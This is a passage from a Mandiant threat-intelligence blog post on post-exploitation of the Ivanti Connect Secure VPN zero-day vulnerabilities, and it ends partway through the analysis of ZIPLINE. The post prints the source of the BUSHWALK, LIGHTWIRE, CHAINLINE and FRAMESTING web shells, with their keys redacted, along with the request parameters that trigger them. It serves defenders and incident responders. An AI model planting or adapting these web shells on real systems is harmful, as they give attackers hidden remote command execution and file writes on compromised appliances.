class="nRhiJb-LgbsSe nRhiJb-LgbsSe-OWXEXe-CNusmb-o6Shpd " href="https://console.cloud.google.com/freetrial/" track-name="get started for free"track-type="blog nav"track-metadata-eventdetail="console.cloud.google.com/freetrial/"track-metadata-module="header" track-name="get started for free"track-type="button"track-metadata-position="nav"track-metadata-eventdetail="console.cloud.google.com/freetrial/">Get started for free </a></div><div class="GKI4ub"><div class="Jhiezd"><form action="/blog/search/" class="A2C6Ob"><input class="BAhdXd" jsname="oJAbI" name="query" type="text" placeholder="Find an article..."><input type="hidden" name="language" value=en hidden><input type="hidden" name="category" value=article hidden><input type="hidden" name="paginate" value="25" hidden><input type="hidden" name="order" value="newest" hidden><input type="hidden" name="hl" value=en hidden><span class="A0lwXc" jsname="D8MWrd" aria-label="Show the search input field." role="button" jsaction="click:jUF4E"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c" viewBox="0 0 24 24" role="presentation" aria-hidden="true" width="40" height="22"><path d="M20.49 19l-5.73-5.73C15.53 12.2 16 10.91 16 9.5A6.5 6.5 0 1 0 9.5 16c1.41 0 2.7-.47 3.77-1.24L19 20.49 20.49 19zM5 9.5C5 7.01 7.01 5 9.5 5S14 7.01 14 9.5 11.99 14 9.5 14 5 11.99 5 9.5z"></path></svg></span></form></div></div></div></div></div><div class="glue-header__drawer-backdrop"></div></header><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">var AF_initDataKeys = ["ds:0"]; var AF_dataServiceRequests = {'ds:0' : {id:'nInjGe',request:["cloudblog","topics/threat-intelligence/investigating-ivanti-zero-day-exploitation","en"]}}; var AF_initDataChunkQueue = []; var AF_initDataCallback; var AF_initDataInitializeCallback; if (AF_initDataInitializeCallback) {AF_initDataInitializeCallback(AF_initDataKeys, AF_initDataChunkQueue, AF_dataServiceRequests);}if (!AF_initDataCallback) {AF_initDataCallback = function(chunk) {AF_initDataChunkQueue.push(chunk);};}</script></head><body id="yDmH0d" jscontroller="pjICDe" jsaction="rcuQ6b:npT2md; click:FAbpgf; auxclick:FAbpgf" class="tQj5Y ghyPEc IqBfM ecJEib EWZcud nRhiJb-qJTHM" data-has-header="true" data-has-footer="true"><script aria-hidden="true" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">window.wiz_progress&&window.wiz_progress();</script><div class="VUoKZ" aria-hidden="true"><div class="TRHLAc"></div></div><c-wiz jsrenderer="zPZHOe" class="SSPGKf" jsdata="deferred-i1" data-p="%.@."cloudblog","topics/threat-intelligence/investigating-ivanti-zero-day-exploitation","en"]" data-node-index="0;0" jsmodel="hc6Ubd" view c-wiz data-ogpc><div class="T4LgNb " jsname="a9kxte"><div jsname="qJTHM" class="kFwPee"><article class="nRhiJb-qJTHM" jsaction="rcuQ6b:npT2md" jscontroller="kxO7ab"><section class="nRhiJb-DARUcf"><div class="Wdmc0c nRhiJb-DbgRPb-wNfPc-cGMI2b"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c nRhiJb-BFbNVe-r8s4j-bMElCd dIsJJe" track-name="threat intelligence"track-type="tag">Threat Intelligence</div><div class="nRhiJb-ObfsIf"><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-R6PoUb"></div><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-EehZO nRhiJb-fmcmS-oXtfBe"><h1 class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-ibL1re"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-ibL1re"><span class="FewWi"></span>Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation</div></h1></div></div><div class="nRhiJb-fmcmS-oXtfBe dEogG">January 31, 2024</div></div></section><div class="EKklye"><div class="nRhiJb-DARUcf ZWw7T"><div class="npzWPc"><div class="dzoHJ"><div class="nRhiJb-DX2B6 nRhiJb-DX2B6-OWXEXe-h30Snd"><div class="nRhiJb-j5y3u"><ul class="nRhiJb-Qijihe phRaUe" role="list"><li class="hpHPGf"><a class="nRhiJb-ARYxNe" href="https://x.com/intent/tweet?text=Cutting%20Edge,%20Part%202:%20Investigating%20Ivanti%20Connect%20Secure%20VPN%20Zero-Day%20Exploitation%20@googlecloud&url=https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation" track-name="x"track-type="social share"track-metadata-eventdetail="x.com/intent/tweet?text=Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation%20@googlecloud&url=cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation"track-metadata-module="social icons" target="_blank" rel="noopener"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-DX2B6 nRhiJb-Bz112c-OWXEXe-nSuQf" viewBox="0 0 24 24" role="presentation" aria-hidden="true" role="presentation" aria-hidden="true"><path d="M13.9,10.5L21.1,2h-1.7l-6.3,7.4L8,2H2.2l7.6,11.1L2.2,22h1.7l6.7-7.8L16,22h5.8L13.9,10.5L13.9,10.5z M11.5,13.2l-0.8-1.1 L4.6,3.3h2.7l5,7.1l0.8,1.1l6.5,9.2h-2.7L11.5,13.2L11.5,13.2z"></path></svg></a></li><li class="hpHPGf"><a class="nRhiJb-ARYxNe" href="https://www.linkedin.com/shareArticle?mini=true&url=https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation&title=Cutting%20Edge,%20Part%202:%20Investigating%20Ivanti%20Connect%20Secure%20VPN%20Zero-Day%20Exploitation" track-name="linkedin"track-type="social share"track-metadata-eventdetail="www.linkedin.com/shareArticle?mini=true&url=cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation&title=Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"track-metadata-module="social icons" target="_blank" rel="noopener"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-DX2B6 nRhiJb-Bz112c-OWXEXe-nSuQf" viewBox="0 0 24 24" role="presentation" aria-hidden="true" role="presentation" aria-hidden="true"><path d="M20 2H4c-1.1 0-1.99.9-1.99 2L2 20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zM8 19H5v-9h3v9zM6.5 8.31c-1 0-1.81-.81-1.81-1.81S5.5 4.69 6.5 4.69s1.81.81 1.81 1.81S7.5 8.31 6.5 8.31zM19 19h-3v-5.3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5V19h-3v-9h3v1.2c.52-.84 1.59-1.4 2.5-1.4 1.93 0 3.5 1.57 3.5 3.5V19z"></path></svg></a></li><li class="hpHPGf"><a class="nRhiJb-ARYxNe" href="https://www.facebook.com/sharer/sharer.php?caption=Cutting%20Edge,%20Part%202:%20Investigating%20Ivanti%20Connect%20Secure%20VPN%20Zero-Day%20Exploitation&u=https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation" track-name="facebook"track-type="social share"track-metadata-eventdetail="www.facebook.com/sharer/sharer.php?caption=Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation&u=cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation"track-metadata-module="social icons" target="_blank" rel="noopener"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-DX2B6 nRhiJb-Bz112c-OWXEXe-nSuQf" viewBox="0 0 24 24" role="presentation" aria-hidden="true" role="presentation" aria-hidden="true"><path d="M20 2H4c-1.1 0-1.99.9-1.99 2L2 20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-1 2v3h-2c-.55 0-1 .45-1 1v2h3v3h-3v7h-3v-7h-2v-3h2V7.5C13 5.57 14.57 4 16.5 4H19z"></path></svg></a></li><li class="hpHPGf"><a class="nRhiJb-ARYxNe" href="mailto:?subject=Cutting%20Edge,%20Part%202:%20Investigating%20Ivanti%20Connect%20Secure%20VPN%20Zero-Day%20Exploitation&body=Check%20out%20this%20article%20on%20the%20Cloud%20Blog:%0A%0ACutting%20Edge,%20Part%202:%20Investigating%20Ivanti%20Connect%20Secure%20VPN%20Zero-Day%20Exploitation%0A%0AInvestigating%20broad%20zero-day%20exploitation%20of%20two%20high-impact%20vulnerabilities%20affecting%20Ivanti%20appliances.%0A%0Ahttps://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation" track-name="email"track-type="social share"track-metadata-eventdetail="mailto:?subject=Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation&body=Check%20out%20this%20article%20on%20the%20Cloud%20Blog:%0A%0ACutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation%0A%0AInvestigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances.%0A%0Acloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation"track-metadata-module="social icons" target="_blank" rel="noopener"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-DX2B6 nRhiJb-Bz112c-OWXEXe-nSuQf" viewBox="0 0 24 24" role="presentation" aria-hidden="true" role="presentation" aria-hidden="true"><path d="M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-.8 2L12 10.8 4.8 6h14.4zM4 18V7.87l8 5.33 8-5.33V18H4z"></path></svg></a></li></ul></div></div></div></div></div><div><section class="nRhiJb-DARUcf"><div class="nRhiJb-DbgRPb-wNfPc-ma6Yeb nRhiJb-DbgRPb-wNfPc-cGMI2b"><section class="DA9Qj nRhiJb-ObfsIf nRhiJb-fmcmS-oXtfBe"><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-c5RTEf"></div><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-qWD73c"><h5 class="cHE8Ub Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c">Mandiant </h5><p class="nRhiJb-qJTHM khCp7b"></p></div></section></div></section><div class="nRhiJb-DARUcf"><div class="nRhiJb-ObfsIf nRhiJb-DbgRPb-wNfPc-ma6Yeb nRhiJb-DbgRPb-qWD73c-cGMI2b"><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-ibL1re dzoHJ"></div><div class="OYL9D nRhiJb-kR0ZEf-OWXEXe-GV1x9e-OiUrBf" jsname="tx2NYc"><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Written by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan</p> <hr> <p> </p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>On Jan. 12, 2024, Mandiant published a <a href="https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day" rel="noopener" target="_blank"><u>blog post</u></a> detailing two high-impact zero-day vulnerabilities, <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805" rel="noopener" target="_blank"><u>CVE-2023-46805</u></a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887" rel="noopener" target="_blank"><u>CVE-2024-21887</u></a>, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti <a href="https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways" rel="noopener" target="_blank"><u>disclosed</u></a> two additional vulnerabilities impacting CS and PS devices, CVE-2024-21888 and CVE-2024-21893.</p> <p>The vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as <u>UNC5221</u>. </p> <p>Mandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.</p> <p>In this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.</p> <p>These observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), YARA rules, and a <a href="https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf" rel="noopener" target="_blank">hardening guide</a>.</p> <p><strong>Note:</strong> Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the <a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" rel="noopener" target="_blank"><u>mitigation</u></a>, run the external <a href="https://forums.ivanti.com/s/article/KB44755?language=en_US" rel="noopener" target="_blank"><u>Integrity Checker Tool</u></a> (ICT) to check for evidence of exploitation, and continue following the <a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" rel="noopener" target="_blank"><u>KB article</u></a> to receive product updates as they become available. </p> <h2>Post Exploitation Activity Updates</h2> <h3>Mitigation Bypass</h3> <p>A mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as <u>BUSHWALK</u>. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity. </p> <p><strong>Note:</strong> The external ICT successfully detected the presence of the new web shell. We have observed the threat actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and fix the mitigation bypass.</p> <p>Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a legitimate CS file, <code>querymanifest.cgi</code>. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server.</p> <p>BUSHWALK executes its malicious Perl function, <code>validateVersion</code>, if the web request <code>platform</code> parameter is <code>SafariiOS</code>. It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web request’s <code>command</code> parameter.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>sub validateVersion { my ($rawdata) = @_; if ($rawdata ne ''){ $rawdata =~ s/ /+/g; my $param0 = MIME::Base64::decode($rawdata); my $key = substr($param0, 0, 32); $key = RC4("<REDACTED>", $key); my $data = substr($param0,32); $data = RC4($key, $data); my @param1 = split("@",$data); my @action = split("=",$param1[0]); if ($action[1] eq 'change') { my $changeData = (split("=",$param1[1]))[1]; changeVersion($changeData, $key); } elsif ($action[1] eq 'update'){ my $fname = (split("=",$param1[1]))[1]; my $versionData = (split("#",$param1[2]))[1]; updateVersion($fname, $versionData); } else { print CGI::header(-type=>"text/plain", -status=> '404 Not Found'); print "error"; } exit; } else{ return; } }</code></pre> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 1: <span style="vertical-align:baseline">Entry point to BUSHWALK execution</span></em></span></p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The decrypted payload determines if the web shell should execute a command or write a file to the server.</p> <p>If the decrypted payload contains <code>change</code>, BUSHWALK calls the <code>changeData</code> function to execute an arbitrary command on the compromised appliance. The malware first extracts the command from the buffer. The malware then executes the command and encrypts the command results with RC4 using the provided key.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>sub changeVersion { my ($u_time,$key) = @_; my $o_fd = popen(*DUMP, $u_time, "r"); my $ts; print CGI::header(); while(<DUMP>) { $ts = $ts.$_; } $ts = RC4($key, $ts); my $tsc = MIME::Base64::encode_base64($ts); print $tsc; close(*DUMP); }</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 2: changeVersion function to read an arbitrary file</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>If the decrypted payload contains <code>update</code>, BUSHWALK calls the <code>updateVersion</code> function to write an arbitrary file to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then Base64-decoded and written to the file at the specified path.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>sub updateVersion { my ($fname, $strbuf) = @_; $strbuf = MIME::Base64::decode($strbuf); CORE::open(my $file, ">>",$fname) or return undef; syswrite($file, $strbuf); close($file); print CGI::header(); print "over"; }</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 3: updateVersion function to write an arbitrary file</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>LIGHTWIRE Variant</h3> <p>Mandiant has identified an additional variant of the <u>LIGHTWIRE</u> web shell that inserts itself into a legitimate component of the VPN gateway, <code>compcheckresult.cgi</code>.</p> <p>The new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog post. Mandiant recommends hunting for GET requests containing these parameters within available web logs, unallocated space, and memory images.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>/dana-na/auth/url_default/compcheckresult.cgi?comp=comp&compid=<obfuscat ed command></code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 4: LIGHTWIRE GET parameters</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to <code>$useCompOnly</code>. Next, it will use the Perl <code>tr</code> operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling <code>eval</code>.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>my $useCompOnly = "<REDACTED>"; $useCompOnly =~ tr/<REDACTED>/<REDACTED>/; eval{my $c=Crypt::RC4->new(decode_base64($useCompOnly));my $d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;}or do{$Main::remedy1 = "Compatibility check: $@";}</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 5: Newly identified LIGHTWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>eval{my $c=Crypt::RC4->new("<REDACTED>");my $d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 6: Original LIGHTWIRE sample</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>CHAINLINE Web Shell</h3> <p>After the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that Mandiant is tracking as <u>CHAINLINE</u>. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.</p> <p>CHAINLINE was identified in the CAV Python package in the following path: <code>/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py</code>. This is the same Python package modified to support the WIREFIRE web shell.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code># # Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved # import base64 from flask_restful import Resource, reqparse from flask import request import subprocess RC4_KEY = "<REDACTED>" def crypt(command: str): tmp = list(command) for i in range(len(tmp)): tmp[i] = chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)])) tmp = "".join(tmp) return tmp class Health(Resource): def get(self): return {"message": "method not allowed"}, 201 def post(self): parser = reqparse.RequestParser() parser.add_argument('stats', type=str) parser.add_argument('rates', type=str) args = parser.parse_args() command: str = args.stats command = crypt(base64.b64decode(command.encode(encoding="UTF-8")).decode (encoding="UTF-8")) result = subprocess.getoutput(command) result = base64.b64encode(crypt(result).encode(encoding="UTF-8")).decode (encoding="UTF-8") return {"message": 'ok', "stats": result}, 200</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 7: CHAINLINE web shell in health.py</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Unlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called <code>health.py</code>, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE.</p> <p>UNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint <code>/api/v1/cav/client/health</code>. This was accomplished by importing the maliciously created <code>Health</code> API resource and then calling the <code>add_resource()</code> class method on the FLASK-RESTful <code>Api</code> object within <code>/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py</code>.</p> <p>Figure 8 shows an excerpt of the relevant file modified to support CHAINLINE.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 8: Python CAV package modified to support CHAINLINE</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>FRAMESTING Web Shell</h3> <p>Mandiant has identified an additional web shell that we are tracking as <u>FRAMESTING</u>. FRAMESTING is a Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>def post(self): import zlib import simplejson as json try: dskey='<REDACTED>' dsid=request.cookies.get('DSID') data=None if dsid and len(dsid)>=64: data=dsid+'==' else: data = zlib.decompress(request.data) data=json.loads(data).get('data') if data: import base64 from Cryptodome.Cipher import AES if dskey not in globals():globals()[dskey]={} globals()[dskey].pop('result',None) aes=AES.new(dskey.encode(), AES.MODE_ECB) result={'message':'','action':0} exec(zlib.decompress(aes.decrypt(base64.b64decode(data))), {'request':request,'cache':globals()[dskey]},locals()) result=globals()[dskey].get('result',result) return result, 200 except: pass</code></pre> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 9: category.py modified to handle POST requests for FRAMESTING</em></span></p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>FRAMESTING was identified in the CAV Python package in the following path: <code>/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py</code>. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.</p> <p>When installed, the threat actor can access FRAMESTING web shell at the REST endpoint <code>/api/v1/cav/client/categories</code> with a POST request. Note that the legitimate <code>categories</code> endpoint only accepts GET requests.</p> <p>The web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named <code>DSID</code> from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress <code>zlib</code> data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python <code>exec()</code> statement to dynamically execute additional Python code.</p> <p>Note that <code>DSID</code> is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.</p> <h3>Updates to ZIPLINE Analysis</h3> <p>Since our previous blog post, Mandiant has completed additional analysis into the <u>ZIPLINE</u> passive backdoor. ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by ZIPLINE.</p> <h4>Cryptography</h4> <p>ZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption keys are derived from key material sent by the server and combined with hard-coded data embedded in the malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong array and the first 16 bytes of it are used as the AES-128 keys.</p> <p>The key material, received by the attacker is defined, as follows:</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>typedef struct tag_key_material_t { uint8_t decryption_keydata[20]; uint8_t 